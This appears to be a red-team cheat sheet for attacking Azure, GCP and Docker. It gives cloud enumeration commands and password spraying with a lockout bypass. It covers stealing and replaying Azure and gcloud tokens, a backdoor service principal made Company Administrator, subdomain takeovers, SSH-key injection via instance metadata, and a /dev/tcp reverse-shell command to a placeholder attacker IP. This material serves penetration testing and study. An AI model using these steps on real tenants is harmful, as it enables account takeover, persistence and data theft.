• Auth 365 Recon:
(https://github.com/nyxgeek/o365recon
Microsoft Azure Storage:
• Microsoft Azure Storage is like Amazon S3
• Blob storage is for unstructured data
• Containers and blobs can be publicly accessible via access policies
• Predictable URL’s at core.windows.net
◇ storage-account-name.blob.core.windows.net
◇ storage-account-name.file.core.windows.net
◇ storage-account-name.table.core.windows.net
◇ storage-account-name.queue.core.windows.net
• The “Blob” access policy means anyone can anonymously read blobs, but can’t list the blobs in the container
• The “Container” access policy allows for listing containers and blobs
• Microburst https://github.com/NetSPI/MicroBurst
◇ Invoke-EnumerateAzureBlobs
◇ Brute forces storage account names, containers, and files
◇ Uses permutations to discover storage accounts
PS > Invoke-EnumerateAzureBlobs –Base
Password Attacks
• Password Spraying Microsoft Online (Azure/O365)
• Can spray https://login.microsoftonline.com
--
POST /common/oauth2/token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Host: login.microsoftonline.com
Content-Length: 195
Expect: 100-continue
Connection: close
resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-
dac224a7b894&client_info=1&grant_type=password&username=user%40targetdomain.com&passwor
d=Winter2020&scope=openid
--
• MSOLSpray https://github.com/dafthack/MSOLSpray
◇ The script logs:
▪ If a user cred is valid
▪ If MFA is enabled on the account
▪ If a tenant doesn't exist
▪ If a user doesn't exist
▪ If the account is locked
▪ If the account is disabled
▪ If the password is expired
◇ https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
Password protections & Smart Lockout
• Azure Password Protection – Prevents users from picking passwords with certain words like seasons, company name, etc.
• Azure Smart Lockout – Locks out auth attempts whenever brute force or spray attempts are detected.
◇ Can be bypassed with FireProx + MSOLSpray
◇ https://github.com/ustayready/fireprox
Phising session hijack
• Evilginx2 and Modlishka
◇ MitM frameworks for harvesting creds/sessions
◇ Can also evade 2FA by riding user sessions
• With a hijacked session we need to move fast
• Session timeouts can limit access
• Persistence is necessary
Steal Access Tokens
• Azure config files:
web.config
app.config
.cspkg
.publishsettings
• Azure Cloud Service Packages (.cspkg)
• Deployment files created by Visual Studio
• Possible other Azure service integration (SQL, Storage, etc.)
• Look through cspkg zip files for creds/certs
• Search Visual Studio Publish directory
\bin\debug\publish
• Azure Publish Settings files (.publishsettings)
◇ Designed to make it easier for developers to push code to Azure
◇ Can contain a Base64 encoded Management Certificate
◇ Sometimes cleartext credentials
◇ Open publishsettings file in text editor
◇ Save “ManagementCertificate” section into a new .pfx file
◇ There is no password for the pfx
◇ Search the user’s Downloads directory and VS projects
• Check %USERPROFILE&\.azure\ for auth tokens
• During an authenticated session with the Az PowerShell module a TokenCache.dat file gets generated in the %USERPROFILE%\.azure\ folder.
• Also search disk for other saved context files (.json)
• Multiple tokens can exist in the same context file
Post-Compromise
• What can we learn with a basic user?
• Subscription Info
• User Info
• Resource Groups
• Scavenging Runbooks for Creds
• Standard users can access Azure domain information and isn’t usually locked down
• Authenticated users can go to portal.azure.com and click Azure Active Directory
• O365 Global Address List has this info as well
• Even if portal is locked down PowerShell cmdlets will still likely work
• There is a company-wide setting that locks down the entire org from viewing Azure info via cmd line: Set-MsolCompanySettings – UsersPermissionToReadOtherUsersEnabled $false
Azure: CLI Access
• Azure Service Management (ASM or Azure “Classic”)
◇ Legacy and recommended to not use
• Azure Resource Manager (ARM)
◇ Added service principals, resource groups, and more
◇ Management Certs not supported
• PowerShell Modules
◇ Az, AzureAD & MSOnline
• Azure Cross-platform CLI Tools
◇ Linux and Windows client
Azure: Subscriptions
• Organizations can have multiple subscriptions
• A good first step is to determine what subscription you are in
• The subscription name is usually informative
• It might have “Prod”, or “Dev” in the title
• Multiple subscriptions can be under the same Azure AD directory (tenant)
• Each subscription can have multiple resource groups
Azure User Information
• Built-In Azure Subscription Roles
◇ Owner (full control over resource)
◇ Contributor (All rights except the ability to change permissions)
◇ Reader (can only read attributes)
◇ User Access Administrator (manage user access to Azure resources)
• Get the current user’s role assignement
PS> Get-AzRoleAssignment
• If the Azure portal is locked down it is still possible to access Azure AD user information via MSOnline cmdlets
• The below examples enumerate users and groups
PS> Import-Module MSOnline
PS> Connect-MsolService
Or
PS> $credential = Get-Credential
PS> Connect-MsolService -Credential $credential
PS> Get-MSolUser -All
PS> Get-MSolGroup –All
PS> Get-MSolGroupMember –GroupObjectId
PS> Get-MSolCompanyInformation
• Pipe Get-MSolUser –All to format list to get all user attributes
PS> Get-MSolUser –All | fl
Azure Resource Groups
• Resource Groups collect various services for easier management
• Recon can help identify the relationships between services such as WebApps and SQL
PS> Get-AzResource
PS> Get-AzResourceGroup
PS> Get-AzStorageAccount
Azure: Runbooks
• Azure Runbooks automate various tasks in Azure
• Require an Automation Account and can contain sensitive information like passwords
PS> Get-AzAutomationAccount
PS> Get-AzAutomationRunbook -AutomationAccountName -ResourceGroupName
• Export a runbook with:
PS> Export-AzAutomationRunbook -AutomationAccountName -ResourceGroupName -Name -OutputFolder .\Desktop\
Azure VMs:
PS> Get-AzVM
PS> $vm = Get-AzVM -Name "VM Name"
PS> $vm.OSProfile
PS> Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
Azure Virtual Networks:
PS> Get-AzVirtualNetwork
PS> Get-AzPublicIpAddress
PS> Get-AzExpressRouteCircuit
PS> Get-AzVpnConnection
# Quick 1-liner to search all Azure AD user attributes for passwords after auth'ing with Connect-MsolService:
$x=Get-MsolUser;foreach($u in $x){$p = @();$u|gm|%{$p+=$_.Name};ForEach($s in $p){if($u.$s -like "*password*"){Write("[*]"+$u.UserPrincipalName+"["+$s+"]"+" : "+$u.$s)}}}
# https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html
# Removing Azure services
- Under Azure Portal -> Resource Groups
# Interesting metadata instance urls:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Traditional AD - Azure AD comparision
Basic Azure AD concepts and tips
- Source of authentication for Office 365, Azure Resource Manager, and anything else you integrate with it.
- Powershell interaction:
• MSOnline PowerShell module
• Focusses on Office 365
• Some Office 365 specific features
• AzureAD PowerShell module
• General Azure AD
• Different feature set
• Azure CLI / Az powershell module
• More focus on Azure Resource Manager
- Azure AD principals
• Users
• Devices
• Applications
- Azure AD roles
• RBAC Roles are only used for Azure Resource Manager
• Office 365 uses administrator roles exclusively
- Azure AD admin roles
• Global/Company administrator can do anything
• Limited administrator accounts
• Application Administrator
• Authentication Administrator
• Exchange Administrator
• Etc
• Roles are fixed
- Azure AD applications
• Documentation unclear
• Terminology different between documentation, APIs and Azure portal
• Complex permission system
• Most confusing part
• Examples:
• Microsoft Graph
• Azure Multi-Factor Auth Client
• Azure Portal
• Office 365 portal
• Azure ATP
• A default Office 365 Azure AD has about 200 service principals
(read: applications)
- App permissions
• Two types of privileges:
• Delegated permissions
• Require signed-in user present to utilize
• Application permissions
• Are assigned to the application, which can use them at any time
• These privileges are assigned to the service principal
• Every application defines permissions
• Can be granted to Service Principals
• Commonly used:
• Microsoft Graph permissions
• Azure AD Graph permissions
- Azure AD Sync Account
• Dump all on-premise password hashes (if PHS is enabled)
• Log in on the Azure portal (since it’s a user)
• Bypass conditional access policies for admin accounts
• Add credentials to service principals
• Modify service principals properties
If password hash sync is in use:
Compromised Azure AD connect Sync account = Compromised AD
• Encryption key is encrypted with DPAPI
• Decrypted version contains some blob with AES keys
• Uses AES-256 in CBC mode
Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
Anyone who can edit properties* of the AZUREADSSOACC$ account, can impersonate any user in Azure AD using Kerberos (if no MFA)
Azure enum
visit: https://o365blog.com/aadinternals/#get-aadinttenantdomains
# Must install
# https://github.com/Gerenios/AADInternals
# https://github.com/NetSPI/MicroBurst
# Get Tenant Name
https://login.microsoftonline.com/getuserrealm.srf?login=admin@COMPANY.onmicrosoft.com&xml=1
# Get Tenant ID with AADInternals
Get-AADIntTenantID -Domain COMPANY.onmicrosoft.com
# Get Tenant ID manually
https://login.microsoftonline.com/COMPANY.onmicrosoft.com/.well-known/openid-configuration
# Get Tenant Domains
Get-AADIntTenantDomains -Domain COMPANY.com
# Get valid email addresses
# https://github.com/Raikia/UhOh365
# Azure Services (MicroBurst)
Invoke-EnumerateAzureSubDomains -Base COMPANY -Verbose
# Azure Blobs (MicroBurst)
Invoke-EnumerateAzureBlobs -Base COMPANY
# Azure Users on Tenant (Az Module)
Get-AzureADUser -All $true
# Azure Groups on Tenant (Az Module)
Get-AzureADGroup -All $true
# Get user's read permissions on Azure Resources (Az Module)
Get-AzResource
# List Dynamic Groups (Az Module)
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# List Membership group rules (Az Module)
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | select MembershipRule
Azure attacks examples
# Password spraying
https://github.com/dafthack/MSOLSpray/MSOLSpray.ps1
Create a text file with ten (10) fake users we will spray along with your own user account (YourAzureADUser@youraccount.onmicrosoft.com ). (Do not spray accounts you do not own. You may use my domain “glitchcloud.com” for generating fake target users) and save as userlist.txt
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password [the password you set for your test account]
# Access Token
PS> Import-Module Az
PS> Connect-AzAccount
or
PS> $credential = Get-Credential
PS>Connect-AzAccount -Credential $credential
PS> mkdir C:\Temp
PS> Save-AzContext -Path C:\Temp\AzureAccessToken.json
PS> mkdir “C:\Temp\Live Tokens”
# Auth
Connect-AzAccount
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-AzAccount -Credential $credential
Open Windows Explorer and type %USERPROFILE%\.Azure\ and hit enter
• Copy TokenCache.dat & AzureRmContext.json to C:\Temp\Live Tokens
• Now close your authenticated PowerShell window!
Delete everything in %USERPROFILE%\.azure\
• Start a brand new PowerShell window and run:
PS> Import-Module Az
PS> Get-AzContext -ListAvailable
• You shouldn’t see any available contexts currently
• In your PowerShell window let’s manipulate the stolen TokenCache.dat and AzureRmContext.json files so we can import it into our PowerShell session
PS> $bytes = Get-Content "C:\Temp\Live Tokens\TokenCache.dat" -Encoding byte
PS> $b64 = [Convert]::ToBase64String($bytes)
PS> Add-Content "C:\Temp\Live Tokens\b64-token.txt" $b64
• Now let’s add the b64-token.txt to the AzureRmContext.json file.
• Open the C:\Temp\Live Tokens folder.
• Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
• Delete the word “null” on this line
• Where “null” was add two quotation marks (“”) and then paste the contents of b64-token.txt in between them.
• Save this file as C:\Temp\Live Tokens\StolenToken.json
• Let’s import the new token
PS> Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json’
• We are now operating in an authenticated session to Azure
PS> $context = Get-AzContext
PS> $context.Account
• You can import the previously exported context (AzureAccessToken.json) the same way
# Azure situational awareness
• GOAL: Use the MSOnline and Az PowerShell modules to do basic enumeration of an Azure account post-compromise.
• In this lab you will authenticate to Azure using your Azure AD account you setup. Then, you will import the MSOnline and Az PowerShell modules and try out some of the various modules that assist in enumerating Azure resource usage.
• Start a new PowerShell window and import both the MSOnline and Az modules
PS> Import-Module MSOnline
PS> Import-Module Az
• Authenticate to each service with your Azure AD account:
PS> Connect-AzAccount
PS> Connect-MsolService
• First get some basic Azure information
PS> Get-MSolCompanyInformation
• Some interesting items here are
◇ UsersPermissionToReadOtherUsersEnabled
◇ DirSyncServiceAccount
◇ PasswordSynchronizationEnabled
◇ Address/phone/emails
• Next, we will start looking at the subscriptions associated with the account as well as look at the current context we are operating in. Look at the “Name” of the subscription and context for possible indication as to what it is associated with.
PS> Get-AzSubscription
PS> $context = Get-AzContext
PS> $context.Name
PS> $context.Account
• Enumerating the roles assigned to your user will help identify what permissions you might have on the subscription as well as who to target for escalation.
PS> Get-AzRoleAssignment
• List out the users on the subscription. This is the equivalent of “net users /domain” in on-prem AD
PS> Get-MSolUser -All
PS> Get-AzAdApplication
PS> Get-AzWebApp
PS> Get-AzSQLServer
PS> Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
PS> Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
PS> Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
• The user you setup likely doesn’t have any resources currently associated with it, but these commands will help to understand the specific resources a user you gain access to has.
PS> Get-AzResource
PS> Get-AzResourceGroup
• Choose a subscription
PS> Select-AzSubscription -SubscriptionID "SubscriptionID"
• There are many other functions.
• Use Get-Module to list out the other Az module groups
• To list out functions available within each module use the below command substituting the value of the “Name” parameter.
PS> Get-Module -Name Az.Accounts | Select-Object -ExpandProperty ExportedCommands
PS> Get-Module -Name MSOnline | Select-Object -ExpandProperty ExportedCommands
Azure Block Blobs (S3 equivalent) attacks
# Discovering with Google Dorks
site:*.blob.core.windows.net
site:*.blob.core.windows.net ext:xlsx | ext:csv "password"
# Discovering with Dns enumeration
python dnscan.py -d blob.core.windows.net -w subdomains-100.txt
# When you found one try with curl, an empty container respond with 400
# List containers
az storage container list --connection-string '<connection string>'
# List blobs in containers
az storage blob list --container-name <container name> --connection-string '<connection string>'
# Download blob from container
az storage blob download --container-name <container name> --name <file> --file /tmp/<file> --connection-string '<connection string>'
Azure subdomain takeovers
# Azure CloudApp: cloudapp.net
1 Check CNAME with dig pointing to cloudapp.net
2 Go to https://portal.azure.com/?quickstart=True#create/Microsoft.CloudService
3 Register unclaimed domain which CNAME is pointing
# Azure Websites: azurewebsites.net
1 Check CNAME with dig pointing to azurewebsites.net
2 Go to https://portal.azure.com/#create/Microsoft.WebSite
3 Register unclaimed domain which CNAME is pointing
4 Register domain on the Custom domains section of the dashboard
# Azure VM: cloudapp.azure.com
1 Check CNAME with dig pointing to *.region.cloudapp.azure.com
2 Registering a new VM in the same region with size Standard_B1ls (cheapest) with 80 and 443 open
3 Go to Configuration and set the domain name which CNAME is pointing
Other Azure Services
# Azure App Services Subdomain Takeover
- For target example.com you found users.example.com
- Go https://users.galaxybutter.com and got an error
- dig CNAME users.galaxybutter.com and get an Azure App Services probably deprecated or removed
- Creat an App Service and point it to the missing CNAME
- Add a custom domain to the App Service
- Show custom content
# Azure Run Command
# Feature that allows you to execute commands without requiring SSH or SMB/RDP access to a machine. This is very similar to AWS SSM.
az login
az login --use-device-code #Login
az group list #List groups
az vm list -g GROUP-NAME #List VMs inside group
#Linux VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"
#Windos VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"
# Linux Reverse Shell Azure Command
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "bash -c \"bash -i >& /dev/tcp/ATTACKER-EXTERNAL-IP/9090 0>&1\""
# Azure SQL Databases
- MSSQL syntaxis
- Dorks: "database.windows.net" site:pastebin.com
# Azure AD commands
az ad sp list --all
az ad app list --all
# Azure metadata service
http://169.254.169.254/metadata/instance
https://github.com/microsoft/azureimds
Create Azure service principal as backdoor
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = ::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = ::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -
RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password
in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
Azure password reset
Azure Services Summary
Base services
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Virtual Machines | Servers | Move existing apps to the cloud without changing them. You manage the entire computer. | EC2 |
Cloud Services | Managed Virtual Machines | Run applications on virtual machines that you don't have to manage, but can partially manage. | |
Batch | Azure Distributed Processing | Work on a large chunk of data by divvying it up between a whole bunch of machines. | |
RemoteApp | Remote Desktop for Apps | Expose non-web apps to users. For example, run Excel on your iPad. | AppStream |
Web Apps | Web Site Host | Run websites (.NET, Node.js, etc.) without managing anything extra. Scale automatically and easily. | Elastic Beanstalk |
Mobile Apps | Mobile App Accelerator | Quickly get an app backend up and running. | |
Logic Apps | Visio for Doing Stuff | Chain steps together to get stuff done. | |
API Apps | API Host | Host your API's without any of the management overhead. | |
API Management | API Proxy | Expose an API and off-load things like billing, authentication, and caching. | API Gateway |
Mobile
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Notification Hubs | Notification Blaster | Send notifications to all of your users, or groups of users based on things like zip code. All platforms. | SNS |
Mobile Engagement | Mobile Psychic | Track what users are doing in your app, and customize experience based on this data. |
Storage
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
SQL Database | Azure SQL | Use the power of a SQL Server cluster without having to manage it. | RDS |
Document DB | Azure NoSQL | Use an unstructured JSON database without having to manage it. | Dynamo DB |
Redis Cache | Easy Cache | Cache files in memory in a scalable way. | Elasticache |
Storage Blobs | Cloud File System | Store files, virtual disks, and build other storage services on top of. | S3 |
Azure Search | Index & Search | Add search capabilities to your website, or index data stored somewhere else. | CloudSearch |
SQL Data Warehouse | Structured Report Database | Store all of your company's data in a structured format for reporting. | RedShift |
Azure Data Lake | Unstructured Report Database | Store all of your company's data in any format for reporting. | |
HDInsight | Hosted Hadoop | Do Hadoopy things with massive amounts of data. | |
Machine Learning | Skynet | Train AI to predict the future using existing data. Examples include credit card fraud detection and Netflix movie recommendations. | |
Stream Analytics | Real-time data query | Look for patterns in data as it arrives. | |
Data Factory | Azure ETL | Orchestrate extract, transform, and load data processes. | Data Pipeline |
Event Hubs | IoT Ingestor | Ingest data at ANY scale inexpensively. |
Networking
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Virtual Network | Private Network | Put machines on the same, private network so that they talk to each other directly and privately. Expose services to the internet as needed. | |
ExpressRoute | Fiber to Azure | Connect privately over an insanely fast pipe to an Azure datacenter. Make your local network part of your Azure network. | Direct Connect |
Load Balancer | Load Balancer | Split load between multiple services, and handle failures. | |
Traffic Manager | Datacenter Load Balancer | Split load between multiple datacenters, and handle datacenter outages. | |
DNS | DNS Provider | Run a DNS server so that your domain names map to the correct IP addresses. | Route53 |
VPN Gateway | Virtual Fiber to Azure | Connect privately to an Azure datacenter. Make your local network part of your Azure network. | |
Application Gateway | Web Site Proxy | Proxy all of your HTTP traffic. Host your SSL certs. Load balance with sticky sessions. | |
CDN | CDN | Make your sites faster and more scalable by putting your static files on servers around the world close to your end users. | Cloudfront |
Media Services | Video Processor | Transcode video and distribute and manage it on the scale of the Olympics. | Elastic Transcoder |
Management
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Azure Resource Manager | Declarative Configuration | Define your entire Azure architecture as a repeatable JSON file and deploy all at once. | CloudFormation |
Developer
Azure Service | Could be Called | Use this to... | Like AWS... |
---|---|---|---|
Application Insights | App Analytics | View detailed information about how your apps (web, mobile, etc.) are used. | Mobile Analytics |
Service Fabric | Cloud App Framework | Build a cloud optimized application that can scale and handle failures inexpensively. |
GCP
https://slashparity.com/?p=938
General
**Tools**
# PurplePanda https://github.com/carlospolop/PurplePanda
# Hayat https://github.com/DenizParlak/hayat
# GCPBucketBrute https://github.com/RhinoSecurityLabs/GCPBucketBrute
# GCP IAM https://github.com/marcin-kolda/gcp-iam-collector
# GCP Firewall Enum: https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum
# Prowler https://github.com/prowler-cloud/prowler
Auth methods:
• Web Access
• API – OAuth 2.0 protocol
• Access tokens – short lived access tokens for service accounts
• JSON Key Files – Long-lived key-pairs
• Credentials can be federated
Recon:
• G-Suite Usage
◇ Try authenticating with a valid company email address at Gmail
Google Storage Buckets:
• Google Cloud Platform also has a storage service called “Buckets”
• Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
◇ Awesome tool for scanning all three cloud services for buckets and more
▪ Enumerates:
- GCP open and protected buckets as well as Google App Engine sites
- Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
- AWS open and protected buckets
Phising G-Suite:
• Calendar Event Injection
• Silently injects events to target calendars
• No email required
• Google API allows to mark as accepted
• Bypasses the “don’t auto-add” setting
• Creates urgency w/ reminder notification
• Include link to phishing page
Steal Access Tokens:
• Google JSON Tokens and credentials.db
• JSON tokens typically used for service account access to GCP
• If a user authenticates with gcloud from an instance their creds get stored here:
~/.config/gcloud/credentials.db
sudo find /home -name "credentials.db"
• JSON can be used to authenticate with gcloud and ScoutSuite
Post-compromise
• Cloud Storage, Compute, SQL, Resource manager, IAM
• ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
• Tool for auditing multiple different cloud security providers
• Create Google JSON token to auth as service account
Enumeration
# Authentication with gcloud and retrieve info
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth activate-service-account --project=<projectid> --key-file=filename.json
gcloud auth list
gcloud init
gcloud config configurations activate stolenkeys
gcloud config list
gcloud organizations list
gcloud organizations get-iam-policy <org ID>
gcloud projects get-iam-policy <project ID>
gcloud iam roles list --project=<project ID>
gcloud beta asset search-all-iam-policies --query policy:"projects/xxxxxxxx/roles/CustomRole436" --project=xxxxxxxx
gcloud projects list
gcloud config set project <project name>
gcloud services list
gcloud projects list
gcloud config set project [Project-Id]
gcloud source repos list
gcloud source repos clone <repo_name>
# Virtual Machines
gcloud compute instances list
gcloud compute instances list --impersonate-service-account AccountName
gcloud compute instances list --configuration=stolenkeys
gcloud compute instances describe <instance id>
gcloud compute instances describe <InstanceName> --zone=ZoneName --format=json | jq -c '.serviceAccounts[].scopes[]'
gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
# Puts public ssh key onto metadata service for project
gcloud compute ssh <local host>
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google’
# Use Google keyring to decrypt encrypted data
gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global
# Storage Buckets
List Google Storage buckets
gsutil ls
gsutil ls -r gs://<bucket name>
gsutil cat gs://bucket-name/anyobject
gsutil cp gs://bucketid/item ~/
# Webapps & SQL
gcloud app instances list
gcloud sql instances list
gcloud spanner instances list
gcloud bigtable instances list
gcloud sql databases list --instance <instance ID>
gcloud spanner databases list --instance <instance name>
# Export SQL databases and buckets
# First copy buckets to local directory
gsutil cp gs://bucket-name/folder/ .
# Create a new storage bucket, change perms, export SQL DB
gsutil mb gs://<googlestoragename>
gsutil acl ch -u <service account> gs://<googlestoragename>
gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --database=<database name>
# Networking
gcloud compute networks list
gcloud compute networks subnets list
gcloud compute vpn-tunnels list
gcloud compute interconnects list
gcloud compute firewall-rules list
gcloud compute firewall-rules describe <rulename>
# Containers
gcloud container clusters list
# GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with
gcloud container clusters get-credentials <cluster name> --region <region>
kubectl cluster-info
# Serverless (Lambda functions)
gcloud functions list
gcloud functions describe <function name>
gcloud functions logs read <function name> --limit <number of lines>
# Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories
sudo find /home -name "credentials.db
# Copy gcloud dir to your own home directory to auth as the compromised user
sudo cp -r /home/username/.config/gcloud ~/.config
sudo chown -R currentuser:currentuser ~/.config/gcloud
gcloud auth list
# Databases
gcloud sql databases list
gcloud sql backups list --instance=test
# Metadata Service URL
# metadata.google.internal = 169.254.169.254
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
"Metadata-Flavor: Google"
# Interesting metadata instance urls:
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Get access scope
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
# Get snapshot from instance and create instance from it
gcloud compute snapshots list
gcloud compute instances create instance-2 --source-snapshot=snapshot-1 --zone=us-central1-a
Attacks
# Check ssh keys attached to instance
gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metadata.items[].value'
# Check for "privilegeduser:ssh-rsa" and generate ssh keys with same username and paste in file
ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser
# Something like:
privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGrK8V2k0xBeSzN+oUgnRLSIgUED7ayeUJJ10ryEFR0xJbFeGsRAL5LUzw1DTT9gRKmcMTjmZNU3E99bwyytV0fLnGVRIZ63oC8IdTESR0g8EnU6yam/ntq6gZF5QRcES3gaZlnssOQQhw0rvcCB7o5oM1zCDQtgJXAu/2UI6yKf3xdlcHdrULbKTR+0c7r2FWMLgdghGsA+yH3leHJWjDE/WJ1mqf+ZE+RvwLZ8TmVFJmI37xoKEeVnkmOrOe/TMYvtuzSQduHEUhhfjB8YPUYH7dGHyVPlRp/0Hsrjauf5//zNN9dyAZisElgF7CnJmtJVizfDxlXd/nwrVC8nf2xzbi8nc24STfTg3+lR1f73Z5xN9waPl3eHMNy7nXvShxSO01ZwwuyTmjNh83ik1PJjNU= privilegeduser
privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnLriKvJcwZ2eRUbYpy7ZiZrZub+ZblHgKhATPnRjEXK7Q5U3vOFutCeMavxQ82yIwne6b6LzDAfKeS6wlez1ll2npGhKpb8mAM+ZIKxdTAoAhenOlLlmMyYHhJs/UjkTtj7TZDIEa/uZjZgClK5fmgkYjprsRbPOtAru8fBAOAWfMtrXYFmUJy94iMIvYpRuUPTZ0XUkzmyETNspZOwoOd+K2yTmFor4mWIgTzbaeAtJA+b+nQmXM1Ya1RfalpQsomXnkhqihh/wmqJMDGIJT1YgepMxbj4wy5WyUlE4Ub+/Wh7Lyu51jaRJ++FYh/pgb3m3d8t7B6b2Jj7ldxicQSPu6Mc9TZ5QrPx91dOe/Mzmte2kW7AF8xXo+Se71Ffc5csupUo62uyeXt12F+qNiqHeJXSomxck7rRwonnUhyNJ2icCPogsbDNDjHvdXmGsrXNFU= privilegeduser
# Upload the file with the 2 keys and access to the instance
gcloud compute instances add-metadata instance-1 --metadata-from-file ssh-keys=keys.txt --zone us-central1-a
ssh -i underprivuser privilegeduser@xx.xx.xx.xx
# Re-authentication the account keys
# Find keys in instance
cd /home/<username>/.config/gcloud
cat credentials.db
# Copy the credentials, make a new json file inside your computer and paste it.
gcloud auth activate-service-account --key-file <file>.json
# Now can access API
Tools
https://github.com/prowler-cloud/prowler
prowler gcp
check for the most important checks in terms of severity
prowler gcp --severity critical high
Docker && Kubernetes
Docker
Concepts
- Docker Image
- Read only file with OS, libraries and apps
- Anyone can create a docker image
- Images can be stored in Docker hub (default public registry) or private registry
- Docker Container
- Stateful instance of an image with a writable layer
- Contains everything needed to run your application
- Based on one or more images
- Docker Registry
- Repository of images
- Docker Hub
- Public docker registry
- Dockerfile
- Configuration file that contains instructions for building a Docker image
- Docker-compose file
- Configuration file for docker-compose
- Docker Swarm
- Group of machines that are running Docker and joined into a cluster.
- When you run docker commands, they are executed by a swarm manager.
- Portainer
- Management solution for Docker hosts and Docker Swarm clusters
- Via web interface
- Docker capabilities
- Turn the binary "root/non-root" into a fine-grained access control system.
- Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
- Docker Control Groups
- Used to allocate cpu, memory, network bandwith of host to container groups.
Commands
# Search in docker hub
docker search wpscan
# Run docker container from docker hub
docker run ubuntu:latest echo "Welcome to Ubuntu"
# Run docker container from docker hub with interactive tty
docker run --name samplecontainer -it ubuntu:latest /bin/bash
# List running containers
docker ps
# List all containers
docker ps -a
# List docker images
docker images
# Run docker in background
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
# Get container logs
docker logs -f pingcontainer
# Run container service in specified port
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
# Access tty of running container
docker exec -it nginxalpine sh
# Get low-level info of docker object
docker inspect (container or image)
# Show image history
docker history jess/htop
# Stop container
docker stop dummynginx
# Remove container
docker rm dummynginx
# Run docker with specified PID namespace
docker run --rm -it --pid=host jess/htop
# Show logs
docker logs containername
docker logs -f containername
# Show service defined logs
docker service logs
# Look generated real time events by docker runtime
docker system events
docker events --since '10m'
docker events --filter 'image=alpine'
docker events --filter 'event=stop'
# Compose application (set up multicontainer docker app)
docker-compose up -d
# List docker volumes
docker volume ls
# Create volume
docker volume create vol1
# List docker networks
docker network ls
# Create docker network
docker network create net1
# Remove captability of container
docker run --rm -it --cap-drop=NET_RAW alpine sh
# Check capabilities inside container
docker run --rm -it 71aa5f3f90dc bash
capsh --print
# Run full privileged container
docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print
# From full privileged container you can access host devices
more /dev/kmsg
# Creating container groups
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
# Stopping cgroups
docker stop low_priority high_priority
# Remove cgroups
docker rm low_priority high_priority
# Setup docker swarm cluster
docker swarm init
